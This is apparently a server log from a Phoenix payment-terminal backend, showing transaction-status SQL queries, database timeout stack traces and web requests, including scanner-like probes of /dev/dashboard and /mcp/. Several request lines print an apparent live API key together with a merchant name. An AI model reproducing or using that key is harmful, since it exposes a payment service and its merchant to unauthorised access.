SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 11:00:03.517000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:35076] Sent 200 in 138ms
[Fri Sep  4 11:00:08.373000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:35092] POST /api/device/status
[Fri Sep  4 11:00:08.379000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:35092] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 11:00:08.379000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:35092] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 11:00:08.379000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:35092] Transaction reference number: "ch138604284389"
[Fri Sep  4 11:00:08.408000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35092] QUERY OK source="pos_transaction" db=28.5ms idle=1169.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 11:00:08.410000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35092] QUERY OK source="pos_temp_transaction" db=1.4ms idle=1198.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 11:00:08.419000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35092] QUERY OK source="pos_failed_transaction" db=8.3ms idle=1200.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 11:00:08.421000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:35092] QUERY OK source="cloud_transaction" db=1.6ms idle=1208.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 11:00:08.426000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:35092] Sent 200 in 53ms
[Fri Sep  4 11:01:50.448000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 11:01:55.137000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 11:01:55.799000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 11:02:00.319000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 11:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1408.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 11:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1297.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 11:20:01.391000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 11:20:02.210000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 11:20:05.349000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 11:20:06.392000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 11:20:11.197000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 11:26:24.709000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=3.2ms idle=1233.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 11:30:00.462000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1978.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:30:00.608000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=1125.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:30:00.786000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.4ms idle=369.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:30:01.023000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.1ms idle=499.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 11:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 11:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.2ms idle=1175.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 11:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1011.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 11:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1938.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 12:00:00.753000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=949.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 12:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 12:00:00.944000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.7ms idle=1138.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 12:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 12:06:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1880.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 12:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1844.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 12:23:59.939000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 12:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1619.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 12:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1322.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 12:46:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1220.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 12:54:02.560000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 12:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1082.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 13:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1955.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 13:11:21.629000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:21942] GET /
[Fri Sep  4 13:11:21.629000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 122.172.85.89:21942] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 13:11:21.630000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:21942] Sent 200 in 1ms
[Fri Sep  4 13:11:35.314000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:21942] GET /dev/dashboard
[Fri Sep  4 13:11:35.347000 2026] [Plug.Debugger:debug] [pid 2816631] [client 122.172.85.89:21942] ** (Phoenix.Router.NoRouteError) no route found for GET /dev/dashboard (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 13:11:47.551000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:21942] GET /dashboard
[Fri Sep  4 13:11:47.552000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 122.172.85.89:21942] Processing with DaProductAppWeb.DashboardLive.index/2
  Parameters: %{}
  Pipelines: [:browser, :require_authenticated_user]
[Fri Sep  4 13:11:47.552000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:21942] Sent 302 in 700µs
[Fri Sep  4 13:11:47.553000 2026] [DaProductAppWeb.Router:debug] [pid 2816631] [client 122.172.85.89:21942] Phoenix.Router halted in :require_authenticated_user/2
[Fri Sep  4 13:11:48.027000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:21942] GET /users/log_in
[Fri Sep  4 13:11:48.030000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 122.172.85.89:21942] Processing with DaProductAppWeb.UserLoginLive.new/2
  Parameters: %{}
  Pipelines: [:browser, :redirect_if_user_is_authenticated]
[Fri Sep  4 13:11:48.152000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:21942] Sent 200 in 124ms
[Fri Sep  4 13:13:41.230000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:30787] GET /dev/dashboard-system
[Fri Sep  4 13:13:41.231000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 122.172.85.89:30787] Processing with Phoenix.LiveDashboard.PageLive.home/2
  Parameters: %{}
  Pipelines: [:browser, :require_authenticated_user]
[Fri Sep  4 13:13:41.231000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:30787] Sent 302 in 753µs
[Fri Sep  4 13:13:41.231000 2026] [DaProductAppWeb.Router:debug] [pid 2816631] [client 122.172.85.89:30787] Phoenix.Router halted in :require_authenticated_user/2
[Fri Sep  4 13:13:41.716000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:30787] GET /users/log_in
[Fri Sep  4 13:13:41.717000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 122.172.85.89:30787] Processing with DaProductAppWeb.UserLoginLive.new/2
  Parameters: %{}
  Pipelines: [:browser, :redirect_if_user_is_authenticated]
[Fri Sep  4 13:13:41.718000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:30787] Sent 200 in 1ms
[Fri Sep  4 13:13:56.836000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:30787] GET /
[Fri Sep  4 13:13:56.837000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 122.172.85.89:30787] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 13:13:56.837000 2026] [Phoenix.Logger:info] [pid 2816631] [client 122.172.85.89:30787] Sent 200 in 1ms
[Fri Sep  4 13:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms queue=0.2ms idle=1891.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 13:25:56.085000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.51:1286] GET /
[Fri Sep  4 13:25:56.085000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.51:1286] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 13:25:56.087000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.51:1286] Sent 200 in 1ms
[Fri Sep  4 13:25:56.416000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.95:7830] GET /mcp/
[Fri Sep  4 13:25:56.468000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.95:7830] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
